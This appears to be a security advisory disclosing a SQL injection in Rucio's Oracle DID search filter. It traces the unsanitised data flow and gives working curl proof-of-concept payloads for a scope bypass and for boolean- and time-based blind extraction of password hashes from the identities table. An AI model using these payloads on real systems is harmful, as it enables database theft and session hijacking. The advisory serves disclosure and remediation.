Rucio has SQL Injection in FilterEngine Oracle JSON Path via DID Search API

Why no existing defense blocks this

The complete data flow from HTTP request to SQL execution passes through 7 layers with no effective sanitization:

1. HTTP input (dids.py:265-274): Filter keys and values are accepted from query parameters via ast.literal_eval() (which accepts arbitrary Python string literals) or directly from individual query argument names/values.

2. Plugin routing (did_meta_plugins/__init__.py:227-248): Each filter key is checked via manages_key(). For keys that are NOT columns of the DataIdentifier model (e.g., custom metadata keys like custom_key), did_column_meta.manages_key() returns False, and the request falls through to json_meta.manages_key(), which returns True for any key on Oracle ≥12 (json_meta.py:234 → json_implemented() → True).

3. FilterEngine initialization (filter_engine.py:260): The json_meta plugin instantiates FilterEngine with strict_coerce=False (json_meta.py:178). In _coerce_filter_word_to_model_attribute() (line 116), when the key is not an attribute of models.DidMeta and strict=False, the raw string is returned without validation.

4. Value typecasting (filter_engine.py:275-297): _try_typecast_string() attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged as strings.

5. Sanity checks (filter_engine.py:149-190): _sanity_check_translated_filters() only validates did_type, name, length, wildcard operators, created_at format, and duplicates. It does not validate arbitrary key names or values for SQL-unsafe characters.

6. SQL construction (filter_engine.py:536-554): On Oracle, the unsanitized key and value strings are interpolated directly into text() via .format().

7. SQL execution (json_meta.py:199,212): The resulting Select statement containing the injected text() clause is executed via session.execute(stmt).

Note on the non-Oracle path

The non-Oracle branch of create_sqla_query() (lines 555-579) uses SQLAlchemy's json_column[key].as_string() accessor, which compiles the key as a bind parameter (%(meta_1)s). This path is not vulnerable. The vulnerability is specific to the Oracle dialect branch that uses text() with .format().

PoC

Prerequisites:

• A Rucio instance using Oracle as the database backend
• The default metadata plugin configuration (json_meta as custom plugin — this is the default)
• Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)

Note on injection technique: The text() fragment is inserted into a SQLAlchemy query that includes additional bind-parameter conditions (e.g., AND system.did_meta.scope = :scope_1). SQL comment (--) cannot be used to discard the trailing syntax because cx_Oracle validates that all registered bind parameters exist in the SQL text, raising ORA-01036 if they are commented out. Instead, the injection consumes the template's trailing characters (")')) by opening a dummy json_exists() call that the trailing characters close naturally, preserving all bind parameters.

The format template suffix after the injected value is exactly ")') — four characters: closing double-quote, closing predicate paren, closing path string single-quote, closing json_exists() paren. The payload opens a new json_exists(meta,'$?(@.a == "b which the suffix closes as json_exists(meta,'$?(@.a == "b")').

1. Obtain an authentication token

TOKEN=$(curl -s -k \
  -H 'X-Rucio-Account: testuser' \
  -H 'X-Rucio-Username: testuser' \
  -H 'X-Rucio-Password: testpass' \
  'https://rucio.example.org/auth/userpass' \
  -D - 2>/dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\r')

2. Boolean-based scope bypass

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%201%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b'

URL-decoded filter value: x")') OR 1=1 OR json_exists(meta,'$?(@.a == "b

Generated SQL inside text():

json_exists(meta,'$?(@.custom_key == "x")') OR 1=1 OR json_exists(meta,'$?(@.a == "b")')

Full WHERE clause as compiled by SQLAlchemy:

WHERE json_exists(meta,'$?(@.custom_key == "x")') OR 1=1 OR json_exists(meta,'$?(@.a == "b")') AND system.did_meta.scope = :scope_1

Why this bypasses the scope filter: SQL operator precedence — AND binds tighter than OR. Oracle parses this as:

WHERE
  json_exists(...)                                        -- disjunct 1
  OR 1=1                                                  -- disjunct 2 (always TRUE)
  OR (json_exists(...) AND system.did_meta.scope = :scope_1)  -- disjunct 3

Because 1=1 is unconditionally true, the entire WHERE clause evaluates to TRUE for every row regardless of scope. All bind parameters (:scope_1) remain intact in the SQL — no ORA-01036.

Expected result: All rows from did_meta are returned regardless of scope.

3. Boolean-based blind injection (data extraction)

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%20(SELECT%20CASE%20WHEN%20SUBSTR((SELECT%20password%20FROM%20identities%20WHERE%20ROWNUM%3D1)%2C1%2C1)%3D%27a%27%20THEN%201%20ELSE%200%20END%20FROM%20dual)%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b'

URL-decoded filter value:

x")') OR (SELECT CASE WHEN SUBSTR((SELECT password FROM identities WHERE ROWNUM=1),1,1)='a' THEN 1 ELSE 0 END FROM dual)=1 OR json_exists(meta,'$?(@.a == "b

Generated SQL inside text():

json_exists(meta,'$?(@.custom_key == "x")') OR (SELECT CASE WHEN SUBSTR((SELECT password FROM identities WHERE ROWNUM=1),1,1)='a' THEN 1 ELSE 0 END FROM dual)=1 OR json_exists(meta,'$?(@.a == "b")')

Expected result:

• If the first character of the first password hash is 'a': rows are returned (subquery returns 1, 1=1 is true, OR makes WHERE true)
• Otherwise: no rows from the subquery disjunct (but the dummy json_exists AND scope disjunct may still match scoped rows — the attacker distinguishes by response row count)
• Repeat for each character position and value to extract the full hash

4. Time-based blind injection (alternative extraction)

curl -s -k -o /dev/null -w "%{time_total}" \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%20(SELECT%20CASE%20WHEN%20SUBSTR((SELECT%20password%20FROM%20identities%20WHERE%20ROWNUM%3D1)%2C1%2C1)%3D%27a%27%20THEN%20DBMS_PIPE.RECEIVE_MESSAGE(%27x%27%2C5)%20ELSE%200%20END%20FROM%20dual)%3D5%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b'

URL-decoded filter value:

x")') OR (SELECT CASE WHEN SUBSTR((SELECT password FROM identities WHERE ROWNUM=1),1,1)='a' THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE 0 END FROM dual)=5 OR json_exists(meta,'$?(@.a == "b

Expected result:

• If condition is true: response delayed by ~5 seconds
• If condition is false: immediate response
• More reliable extraction channel than boolean-based when row counts are ambiguous

5. Alternative entry via filters query parameter

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%5C%22%27)%20OR%201%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%5C%22b%22%7D%5D'

URL-decoded: filters=[{"custom_key": "x\"') OR 1=1 OR json_exists(meta,'$?(@.a == \"b"}]

Impact

Vulnerability type: SQL Injection (CWE-89)

Who is impacted:

• All Oracle-based Rucio deployments using the default metadata plugin configuration (json_meta).
• Not affected are PostgreSQL/MySQL deployments using the default json_meta plugin (SQLAlchemy parameterizes the JSON path operations via bind parameters on non-Oracle dialects).

What an attacker can do:

• Full database read access: Extract any table including identities (password hashes and salts), tokens (active authentication sessions), accounts (user enumeration), rse_settings (storage endpoint credentials), and rules (data management policies).
• Password hash extraction: Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.
• Authentication token theft: Active bearer tokens can be extracted and used for immediate session hijacking.
• Data modification: Oracle PL/SQL enables INSERT/UPDATE/DELETE operations via DML within subqueries and PL/SQL blocks.
• Potential remote code execution: Via Oracle's UTL_HTTP, DBMS_SCHEDULER, or Java stored procedures if the database user has elevated privileges.

Required attacker privileges: Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The GET /dids/<scope>/dids/search endpoint is available to all authenticated users.